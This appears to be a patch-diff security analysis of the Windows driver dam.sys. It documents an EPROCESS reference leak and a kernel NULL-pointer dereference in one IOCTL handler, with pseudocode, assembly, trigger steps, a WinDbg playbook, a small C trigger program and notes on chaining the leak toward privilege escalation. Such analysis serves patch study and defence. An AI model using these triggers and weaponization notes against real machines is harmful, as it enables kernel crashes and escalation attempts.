dam.sys — Kernel object reference leak (CWE-404) and NULL pointer dereference (CWE-690) in DampIoDispatch fixed
KB5073723
1. Overview
| Field | Value |
|---|---|
| Unpatched binary | dam_unpatched.sys |
| Patched binary | dam_patched.sys |
| Overall similarity | 0.9905 |
| Matched functions | 123 |
| Changed functions | 1 (DampIoDispatch) |
| Identical functions | 122 |
| Unmatched (either direction) | 0 |
Verdict: The patch fixes two security bugs in the DampIoDispatch handler for IOCTL 0x22a01c (add-process-to-DAM-job): an EPROCESS object reference leak (the obtained PEPROCESS is never dereferenced) and a missing NULL check on ExAllocatePoolWithTag that produces a kernel NULL-pointer dereference under memory pressure.
2. Vulnerability Summary
Finding #1 — EPROCESS Reference Leak (CWE-404 / CWE-911)
- Severity: Medium
- Vulnerability class: Kernel object reference leak / improper resource lifetime management
- Affected function:
DampIoDispatch(IOCTL0x22a01csub-handler), base0x1c000a3d0
Root cause: The unpatched IOCTL 0x22a01c handler opens the target process via ZwOpenProcess(PROCESS_ALL_ACCESS) and then calls ObReferenceObjectByHandleWithTag(... 'DamK', &v24, ...), which increments the EPROCESS object's PointerCount. The resulting PEPROCESS (v24) is used for PsGetProcessImageFileName, PsQueryProcessCommandLine, PsGetProcessSessionId, and DampAddProcessToJobObject. However, in the cleanup path the handler only calls ZwClose(ProcessHandle) — it never calls ObfDereferenceObject(v24). Each successful IOCTL call therefore leaks one EPROCESS reference permanently. The EPROCESS structure for the target PID can never be freed, even after the process exits. This is both a resource-exhaustion primitive and a potential stale-object-lifetime hazard.
Patch fix: The patch discards the entire ZwOpenProcess + ObReferenceObjectByHandleWithTag chain and replaces it with PsLookupProcessByProcessId(PID, &Process). A single unified cleanup block adds ObfDereferenceObject(Process) with a NULL guard. This eliminates the handle entirely and properly releases the object reference on every path (success and failure).
Attacker-reachable entry point and call chain:
CreateFileW("\\\\.\\DamCtrl", FILE_WRITE_DATA, ...)— open the control device.DeviceIoControl(h, 0x22a01c, inputBuf, 8, ...)— send the IOCTL with a PID.DampIoDispatchis invoked as theIRP_MJ_DEVICE_CONTROLdispatcher (0x1c000a3d0).- The IOCTL
0x22a01cbranch runs:ZwOpenProcess→ObReferenceObjectByHandleWithTag→PsGetProcessImageFileName→RtlAnsiStringToUnicodeString→PsQueryProcessCommandLine(query length) →ExAllocatePoolWithTag→PsQueryProcessCommandLine(fill) →DampAddProcessToJobObject. - Cleanup path:
ExFreePoolWithTag(P),RtlFreeUnicodeString,ZwClose(Handle)— but noObfDereferenceObject, so the reference count on the target EPROCESS is incremented and never decremented.
Finding #2 — NULL Pointer Dereference on Pool Allocation Failure (CWE-690 / CWE-476)
- Severity: Medium (DoS)
- Vulnerability class: Missing NULL check on allocation; kernel NULL-pointer dereference
- Affected function: Same
DampIoDispatchIOCTL0x22a01chandler
Root cause: After determining the required command-line length, the handler calls ExAllocatePoolWithTag(PagedPool, len, 'DamK') and stores the result in P (register rsi). The very next call is PsQueryProcessCommandLine(v24, P, len, 0, &len) — with no test rax, rax / jz check between. If the allocation returns NULL (e.g., under paged-pool exhaustion), the kernel writes through address 0x0, producing an unrecoverable bug check. Additionally, ExFreePoolWithTag(P, 'DamK') is called unconditionally afterward, which is also undefined behavior on a NULL pointer.
Patch fix: The patched code adds test rax, rax immediately after the allocation. On NULL, it sets rbx = STATUS_NO_MEMORY (0xC0000017) and skips to the unified cleanup, which itself guards if (P) ExFreePoolWithTag(P, ...) so the free never executes against NULL.
Call chain is identical to Finding #1; the dereference occurs at the second PsQueryProcessCommandLine call (0x1c000a6d8).
3. Pseudocode Diff
// === UNPATCHED (vulnerable) — IOCTL 0x22a01c case ===
case 0x22A01Cu:
if (Options != 8) // InputBufferLength
{ JobSilo = STATUS_INVALID_PARAMETER; break; }
ObjectAttributes.Length = 48;
ObjectAttributes.Attributes = 512;
// ... remaining OBJECT_ATTRIBUTES fields zeroed ...
ClientId.UniqueThread = NULL;
ClientId.UniqueProcess = (HANDLE)*MasterIrp; // attacker PID
JobSilo = ZwOpenProcess(&ProcessHandle, 0x1FFFFF, &ObjectAttributes, &ClientId);
if (JobSilo >= 0) {
JobSilo = ObReferenceObjectByHandleWithTag(ProcessHandle, 0x1FFFFF,
PsProcessType, 0, 'DamK', &v24, NULL); // v24 = PEPROCESS
if (JobSilo >= 0) {
RtlInitAnsiString(&DestinationString, PsGetProcessImageFileName(v24));
JobSilo = RtlAnsiStringToUnicodeString(&UnicodeString, &DestinationString, 1);
if (JobSilo >= 0) {
JobSilo = PsQueryProcessCommandLine(v24, 0, 0, 0, &NumberOfBytes);
if (JobSilo == STATUS_INFO_LENGTH_MISMATCH) {
PoolWithTag = ExAllocatePoolWithTag(PagedPool, NumberOfBytes, 'DamK');
// *** BUG #2: no NULL check on PoolWithTag ***
JobSilo = PsQueryProcessCommandLine(v24, PoolWithTag,
NumberOfBytes, 0, &NumberOfBytes);
if (JobSilo >= 0) {
PsGetProcessSessionId(v24);
JobSilo = DampAddProcessToJobObject(v24, *((_QWORD*)v24 + 137), 1);
}
ExFreePoolWithTag(PoolWithTag, 'DamK'); // unconditional
}
RtlFreeUnicodeString(&UnicodeString);
}
}
ZwClose(ProcessHandle);
// *** BUG #1: ObfDereferenceObject(v24) NEVER CALLED — reference leak ***
}
break;
// === PATCHED — IOCTL 0x22a01c case ===
case 0x22A01Cu:
Process = NULL;
UnicodeString.Length = 0;
PoolWithTag = NULL;
UnicodeString.Buffer = NULL;
if (Options == 8) {
JobSilo = PsLookupProcessByProcessId((HANDLE)*MasterIrp, &Process); // FIX
if (JobSilo >= 0) {
RtlInitAnsiString(&DestinationString, PsGetProcessImageFileName(Process));
JobSilo = RtlAnsiStringToUnicodeString(&UnicodeString, &DestinationString, 1);
if (JobSilo >= 0) {
JobSilo = PsQueryProcessCommandLine(Process, 0, 0, 0, &NumberOfBytes);
if (JobSilo == STATUS_INFO_LENGTH_MISMATCH) {
PoolWithTag = ExAllocatePoolWithTag(PagedPool, NumberOfBytes, 'DamK');
if (PoolWithTag != NULL) { // FIX: NULL check
JobSilo = PsQueryProcessCommandLine(Process, PoolWithTag,
NumberOfBytes, 0, &NumberOfBytes);
if (JobSilo >= 0) {
PsGetProcessSessionId(Process);
JobSilo = DampAddProcessToJobObject(Process,
*((_QWORD*)Process + 137), 1);
}
} else {
JobSilo = STATUS_NO_MEMORY; // FIX: 0xC0000017
}
}
}
}
} else {
JobSilo = STATUS_INVALID_PARAMETER; // 0xC000000D
}
// Unified, guarded cleanup:
if (UnicodeString.Buffer != NULL) RtlFreeUnicodeString(&UnicodeString);
if (Process != NULL) ObfDereferenceObject(Process); // FIX: release ref
if (PoolWithTag != NULL) ExFreePoolWithTag(PoolWithTag, 'DamK'); // FIX: guarded free
break;
4. Assembly Analysis
Unpatched vulnerable path (key instructions)
; ---- IOCTL dispatch: the code is a subtraction chain over eax = IoControlCode ----
0x1c000a41a: mov r8d, [rsi+18h] ; IoControlCode
0x1c000a41e: mov r9d, 226004h
0x1c000a424: mov ecx, [rsi+10h] ; InputBufferLength
0x1c000a427: mov eax, r8d
0x1c000a434: sub eax, r9d ; - 0x226004
0x1c000a437: jz loc_1C000A79A
0x1c000a43d: sub eax, 10h
0x1c000a440: jz loc_1C000A748
0x1c000a446: sub eax, 3FF4h
0x1c000a44b: jz loc_1C000A79A
0x1c000a451: sub eax, 14h ; cumulative subtrahend = 0x22a01c
0x1c000a454: jz loc_1C000A592 ; -> IOCTL 0x22a01c handler
; ---- 0x22a01c handler @ loc_1C000A592: InputBufferLength check ----
0x1c000a592: cmp ecx, 8 ; must be 8
0x1c000a595: jnz loc_1C000A760 ; STATUS_INVALID_PARAMETER
0x1c000a59b: xorps xmm0, xmm0 ; zero OBJECT_ATTRIBUTES fields
; ---- ClientId.UniqueProcess <- attacker PID; ZwOpenProcess(0x1FFFFF) ----
0x1c000a5c9: mov esi, 1FFFFFh ; PROCESS_ALL_ACCESS
0x1c000a5ce: mov eax, [rdi] ; PID (DWORD from SystemBuffer)
0x1c000a5d0: mov edx, esi ; DesiredAccess
0x1c000a5d2: mov [rbp+57h+ClientId.UniqueProcess], rax
0x1c000a5d6: call cs:__imp_ZwOpenProcess
0x1c000a5e2: mov ebx, eax
0x1c000a5e4: test eax, eax
0x1c000a5e6: js loc_1C000A8C2 ; bail if failed
; ---- ObReferenceObjectByHandleWithTag — OBTAINS THE LEAKED REFERENCE ----
0x1c000a5fb: mov edi, 4B6D6144h ; tag 'DamK'
0x1c000a612: mov [rsp+0E0h+Tag], edi
0x1c000a616: call cs:__imp_ObReferenceObjectByHandleWithTag
; PEPROCESS output stored in [rbp+57h+arg_10]
0x1c000a622: mov ebx, eax
0x1c000a624: test eax, eax
0x1c000a626: jns short loc_1C000A63D ; NEVER dereferenced on any path below!
; ---- ExAllocatePoolWithTag — NO NULL CHECK ----
0x1c000a6a7: mov edx, dword ptr [rbp+57h+NumberOfBytes] ; len
0x1c000a6aa: mov r8d, edi ; tag 'DamK'
0x1c000a6ad: mov ecx, 1 ; PagedPool
0x1c000a6b2: call cs:__imp_ExAllocatePoolWithTag ; -> rax
0x1c000a6c9: mov rsi, rax ; P = rax (may be NULL)
; *** MISSING: test rax, rax / jz ***
; ---- PsQueryProcessCommandLine(P) — NULL-DEREF SINK ----
0x1c000a6c5: mov rcx, [rbp+57h+arg_10] ; the PEPROCESS
0x1c000a6d0: mov rdx, rsi ; P <-- if 0, kernel writes through 0x0
0x1c000a6d8: call cs:__imp_PsQueryProcessCommandLine
; ---- ExFreePoolWithTag — UNCONDITIONAL (undefined on NULL) ----
0x1c000a6ea: mov edx, edi ; tag 'DamK'
0x1c000a6ec: mov rcx, rsi ; P (may be NULL)
0x1c000a6ef: call cs:__imp_ExFreePoolWithTag
; ---- ZwClose — only the HANDLE is closed ----
0x1c000a628: mov rcx, [rbp+57h+ProcessHandle] ; Handle
0x1c000a62c: call cs:__imp_ZwClose
0x1c000a638: jmp loc_1C000A8C2
; *** MISSING ObfDereferenceObject on the PEPROCESS — REFERENCE LEAK ***
0x1c000a8c4: mov [r14+30h], ebx ; IRP->IoStatus.Status
0x1c000a8c8: mov rcx, r14 ; Irp
0x1c000a8cb: call cs:__imp_IofCompleteRequest
Patched correction points
; ---- PsLookupProcessByProcessId replaces the ZwOpenProcess + ObReference chain ----
0x1c000a597: mov [rbp+Process], r12 ; Process = NULL
0x1c000a5a6: cmp ecx, 8 ; InputBufferLength
0x1c000a5a9: jz short loc_1C000A5B5
0x1c000a5ab: mov ebx, 0C000000Dh ; STATUS_INVALID_PARAMETER
0x1c000a5b0: jmp loc_1C000A6CB
0x1c000a5b5: mov ecx, [rdi] ; PID from input buffer
0x1c000a5b7: lea rdx, [rbp+Process] ; &Process output
0x1c000a5bb: call cs:__imp_PsLookupProcessByProcessId
; ---- Allocation WITH NULL CHECK ----
0x1c000a643: mov edx, dword ptr [rbp+NumberOfBytes]
0x1c000a646: mov ecx, 1 ; PagedPool
0x1c000a64b: mov r8d, 4B6D6144h ; tag 'DamK'
0x1c000a651: call cs:__imp_ExAllocatePoolWithTag ; -> rax
0x1c000a65d: mov rsi, rax
0x1c000a660: test rax, rax ; *** ADDED ***
0x1c000a663: jnz short loc_1C000A66C ; proceed only if non-NULL
0x1c000a665: mov ebx, 0C0000017h ; STATUS_NO_MEMORY
; ---- Unified, guarded cleanup @ loc_1C000A6CB ----
0x1c000a6cb: cmp [rbp+UnicodeString.Buffer], r12 ; freed only if buffer != NULL
0x1c000a6cf: jz short loc_1C000A6E1
0x1c000a6d1: lea rcx, [rbp+UnicodeString]
0x1c000a6d5: call cs:__imp_RtlFreeUnicodeString
0x1c000a6e1: mov rcx, [rbp+Process] ; Process
0x1c000a6e5: test rcx, rcx ; NULL guard
0x1c000a6e8: jz short loc_1C000A6F6
0x1c000a6ea: call cs:__imp_ObfDereferenceObject ; *** FIX: release ref ***
0x1c000a6f6: test rsi, rsi ; P != NULL ?
0x1c000a6f9: jz loc_1C000A892
0x1c000a6ff: mov edx, 4B6D6144h ; tag 'DamK'
0x1c000a704: mov rcx, rsi ; P
0x1c000a707: call cs:__imp_ExFreePoolWithTag ; *** guarded free ***
5. Trigger Conditions
Finding #2 — NULL Pointer Dereference (DoS)
- Obtain a writable handle to the DAM device:
CreateFileW("\\\\.\\DamCtrl", GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL). On production builds the ACL may require the caller to be elevated/SYSTEM; if access is denied, run the PoC in an elevated context. - Build the 8-byte input buffer:
DWORD pid = <any valid PID>; BYTE in[8] = {0}; *(DWORD*)in = pid;. - Induce paged-pool pressure so the next
ExAllocatePoolWithTag(PagedPool, ...)returns NULL — e.g., spray large paged allocations from an elevated process, or (in a debugger) simply overwriteraxwith 0 at0x1c000a6c9. - Issue the IOCTL:
DeviceIoControl(h, 0x22a01c, in, 8, NULL, 0, &returned, NULL); - The kernel executes
PsQueryProcessCommandLine(v24, NULL, len, 0, &len)and faults writing to address0x0. - Observable effect: Bug check
0x50 PAGE_FAULT_IN_NONPAGED_AREA(or0x7E) with faulting address near0x0. Call stack:DampIoDispatch → PsQueryProcessCommandLine.
Finding #1 — EPROCESS Reference Leak
- Same device-handle acquisition as above.
- Same 8-byte input buffer (PID is the only field that matters).
- Repeat
DeviceIoControl(h, 0x22a01c, &pid, 8, NULL, 0, &returned, NULL);in a tight loop (e.g., 10 000 iterations) against the same or different PIDs. Each successful call increments the target EPROCESSPointerCountby exactly 1 with no corresponding decrement. - No race condition or timing constraint; the leak is deterministic.
- Observable effect: No crash. Inspect with
!process <PID> 7— thePointerCountgrows linearly with the number of IOCTL calls and never decreases. After the target exits, the EPROCESS remains in pool indefinitely. Pool usage forDamK-adjacent allocations accumulates.
Note: IOCTL
0x22a01cis not gated behindDampTestSigningOn(unlike IOCTLs0x226004and0x22a008). Reachability is therefore determined solely by the device's security descriptor.
6. Exploit Primitive & Development Notes
Primitive #1 — Kernel NULL-Pointer Dereference (DoS)
- Direct, reliable denial of service. The bug check is unrecoverable.
- Requires the attacker to drive paged pool to exhaustion (or to fault-inject in a debugger). On systems with large paged pools and aggressive quota, this can still be achievable from a constrained user account through allocation churn.
Primitive #2 — EPROCESS Reference Leak
- Resource exhaustion: Linear accumulation of leaked EPROCESS references; eventually pool pressure / quota denial.
- Object-lifetime corruption: The leaked reference keeps the EPROCESS alive past process exit. This becomes a stale-reference primitive — a building block for a UAF escalation chain if a second bug allows reclaiming the pool underneath the still-referenced object.
- Info-leak surface: Combined with any leak primitive, the persistent EPROCESS could be used to read process metadata (token, SID, image name) for forensic evasion.
Additional steps to weaponize
- For DoS-only: nothing further required.
- For escalation: combine the leaked-reference EPROCESS with a separate pool-reclaim bug to convert the stale reference into a UAF, then perform token-stealing or page-table manipulation. This requires an info leak to defeat KASLR.
- The reference leak alone does not bypass SMEP/SMAP/HVCI; it is a state-corruption primitive.
Relevant mitigations
| Mitigation | Impact |
|---|---|
| KASLR | Does not affect DoS or leak primitives. Required bypass for any follow-on UAF escalation. |
| SMEP / SMAP | Not directly relevant to either primitive; relevant only if R/W primitives are later converted to code execution. |
| HVCI / Kernel CFG | Would constrain any code-execution follow-on; the two primitives here are unaffected. |
| Paged-pool quota | May make the NULL-deref path harder to reach without elevation, but does not prevent the reference leak. |
7. Debugger PoC Playbook
The following assumes WinDbg/KD attached to the unpatched dam.sys. All addresses are file-relative to the analysis (base 0x1c000000); adjust for the actual loaded base with !dam_unpatched / lm m dam_unpatched.
Breakpoints
bp dam_unpatched!DampIoDispatch ; 0x1c000a3d0 — dispatcher entry
bp dam_unpatched!DampIoDispatch+0x206 ; 0x1c000a5d6 — ZwOpenProcess call
bp dam_unpatched!DampIoDispatch+0x246 ; 0x1c000a616 — ObReferenceObjectByHandleWithTag call
bp dam_unpatched!DampIoDispatch+0x2e2 ; 0x1c000a6b2 — ExAllocatePoolWithTag call
bp dam_unpatched!DampIoDispatch+0x308 ; 0x1c000a6d8 — PsQueryProcessCommandLine (NULL-deref sink)
bp dam_unpatched!DampIoDispatch+0x25c ; 0x1c000a62c — ZwClose (verify missing ObDereferenceObject)
What to inspect at each breakpoint
- At
DampIoDispatchentry: r8d— IoControlCode; confirm0x22a01c.ecx— InputBufferLength; must be8.rdi—AssociatedIrp.SystemBuffer; first DWORD is attacker PID.rsi—IoStackLocationpointer.r14— IRP pointer.- At
0x1c000a5d6(ZwOpenProcess): rcx = &Handle,edx = 0x1FFFFF(PROCESS_ALL_ACCESS),r8 = &ObjectAttributes,r9 = &ClientId.dps r9 L2— observe the attacker-supplied PID.- At
0x1c000a616(ObReferenceObjectByHandleWithTag): - On return,
dq rbp+0x77 L1— the frame slot receiving thePEPROCESSoutput. Remember this pointer; it is never dereferenced. - At
0x1c000a6b2(ExAllocatePoolWithTag): - Before the call:
ecx = 1 (PagedPool),edx = length,r8d = 0x4b6d6144 ('DamK'). - After return: inspect
rax. Ifrax == 0, the bug will fire on the next call. To force the bug without exhausting pool, runr rax=0here, theng— the next instruction will pass NULL intoPsQueryProcessCommandLine. - At
0x1c000a6d8(PsQueryProcessCommandLine sink): rdx— buffer pointer; ifrdx == 0, the bug is firing. Expect immediate0x50 PAGE_FAULT_IN_NONPAGED_AREA.- At
0x1c000a62c(ZwClose): - Confirm the next instruction sequence does not call
ObfDereferenceObject. The control flow jumps straight to epilogue at0x1c000a8c2.
Trigger setup (user mode)
#include <windows.h>
int main(void) {
HANDLE h = CreateFileW(L"\\\\.\\DamCtrl", GENERIC_WRITE, 0,
NULL, OPEN_EXISTING, 0, NULL);
if (h == INVALID_HANDLE_VALUE) { return GetLastError(); }
DWORD pid = GetCurrentProcessId(); // or any valid PID
BYTE in[8] = {0};
*(DWORD*)in = pid;
DWORD returned = 0;
// Single call for ref-leak demonstration:
DeviceIoControl(h, 0x22a01c, in, 8, NULL, 0, &returned, NULL);
// To trigger NULL-deref in the debugger: set bp at 0x1c000a6c9,
// run 'r rax=0', then 'g'.
CloseHandle(h);
return 0;
}
Expected observations
- NULL-deref:
BugCheck 0x50 (PAGE_FAULT_IN_NONPAGED_AREA)with faulting virtual address near0x0; second parameter1(write); call stack showingdam_unpatched!DampIoDispatch → PsQueryProcessCommandLine. - Reference leak: No crash. After N IOCTLs,
!process <PID> 7showsPointerCountincreased by N.!poolfind DamKreveals leaked allocation(s). After process exit, the EPROCESS still resides in pool:!pool <addr>shows it pinned by the leaked reference.
Struct / offset notes
- IRP offsets used by the handler:
[IRP+0x18]—AssociatedIrp.SystemBuffer(METHOD_BUFFERED pointer).[IRP+0x30]—IoStatus.Status.[IRP+0x38]—IoStatus.Information.[IRP+0xb8]— tail-locatedIoStackLocationpointer (rsi).IO_STACK_LOCATIONoffsets:[+0x8]—Parameters.DeviceIoControl.OutputBufferLength.[+0x10]—Parameters.DeviceIoControl.InputBufferLength(ecx).[+0x18]—Parameters.DeviceIoControl.IoControlCode(r8d).- Unpatched stack frame layout (notable):
[rbp-0x21]—ClientId(8 bytes;UniqueProcesslow,UniqueThreadhigh).[rbp-0x1]—OBJECT_ATTRIBUTES(Length =0x30).[rbp+0x77]— PEPROCESS output fromObReferenceObjectByHandleWithTag(v24).[rbp+0x6f]— required command-line length (NumberOfBytes).[rbp+0x7f]— processHandle(ProcessHandle).- Pool tag:
'DamK'=0x4b6d6144.
8. Changed Functions — Full Triage
Only one function differs between the binaries.
DampIoDispatch — similarity 0.9255, change type security_relevant
- IOCTL
0x22a01c(Function 0x807, METHOD_BUFFERED, FILE_WRITE_ACCESS): - Replaced
ZwOpenProcess(PROCESS_ALL_ACCESS) + ObReferenceObjectByHandleWithTagwithPsLookupProcessByProcessId. Eliminates handle management and the over-privilegedPROCESS_ALL_ACCESSpattern. - Added
ObfDereferenceObject(Process)in a unified cleanup path → fixes the EPROCESS reference leak (Finding #1). - Added
test rax, rax / jneafterExAllocatePoolWithTagand aSTATUS_NO_MEMORY (0xC0000017)branch → fixes the NULL pointer dereference (Finding #2). - Added NULL guard on
ExFreePoolWithTag(P, 'DamK')so it is never called against NULL. - Restructured
RtlFreeUnicodeString,ObfDereferenceObject, andExFreePoolWithTaginto a single guarded cleanup section. The guards are the runtime values themselves:UnicodeString.Buffer != NULL,Process != NULL, andPoolWithTag != NULL(no separate tracking flag). - Cosmetic / register-allocation effects: the callee-saved register
r14is replaced byr12, and the IRP pointer is held inr15instead ofr14; the stack frame shrinks from0xc0to0x70because theOBJECT_ATTRIBUTESandCLIENT_IDlocals are no longer needed (the PID is passed directly toPsLookupProcessByProcessId). These changes are a side effect of the cleanup restructure and have no security impact.
No other behavioral changes are present in the diff.
9. Unmatched Functions
None. The patch neither adds nor removes any function. All 123 functions in each binary map to a counterpart in the other.
10. Confidence & Caveats
Confidence: High.
Rationale: The diff is exceptionally narrow (1 of 123 functions changed, similarity 0.99 at the binary level). The vulnerable instructions (missing ObfDereferenceObject, missing NULL check on ExAllocatePoolWithTag) are directly observable in the assembly and pseudocode, and the patched counterparts (ObfDereferenceObject call, test rax,rax guard, STATUS_NO_MEMORY branch) are unambiguous. The dispatch logic for IOCTL 0x22a01c and the IRP field offsets are consistent across the function.
Assumptions made:
- The device symlink is
\\??\\DamCtrland the Win32 device path is\\.\DamCtrl. The diff context identifies\\Device\\DamCtrlas the underlying device; the user-visible name is inferred from the standard pattern. - Reachability is gated by the device ACL (via
WdmlibIoCreateDeviceSecureon test-signing builds or defaultIoCreateDevicesecurity on production builds). The ACL was not in scope of the diff; verify on the target build. - The 8-byte input buffer layout (DWORD PID + DWORD unused) is inferred from the
cmp ecx, 0x8length check and themov rax, qword [rdi]read of the SystemBuffer.
To verify manually before writing a final PoC:
- Confirm the loaded base address of
dam.syson the target system (lm m dam). - Verify the security descriptor on
\\Device\\DamCtrl(!sdvia kernel debugger orGetSecurityInfofrom user mode) to confirm a non-administrator can actually obtain a writable handle. - Validate that the target PID is not exempted by
DampCheckProcessExempted(called at0x1c000a77e, on the separate IOCTL0x22a014path) — the IOCTL0x22a01chandler is not filtered through that check; confirm at runtime by breaking atDampCheckProcessExempted. - For the NULL-deref path, confirm paged-pool quota dynamics on the target OS build to know how much pressure is required; alternatively rely on the debugger
r rax=0injection at0x1c000a6c9. - For the reference leak, confirm with
!process <PID> 7thatPointerCountincrements per call and does not decrement on the unpatched build (and does decrement on the patched build).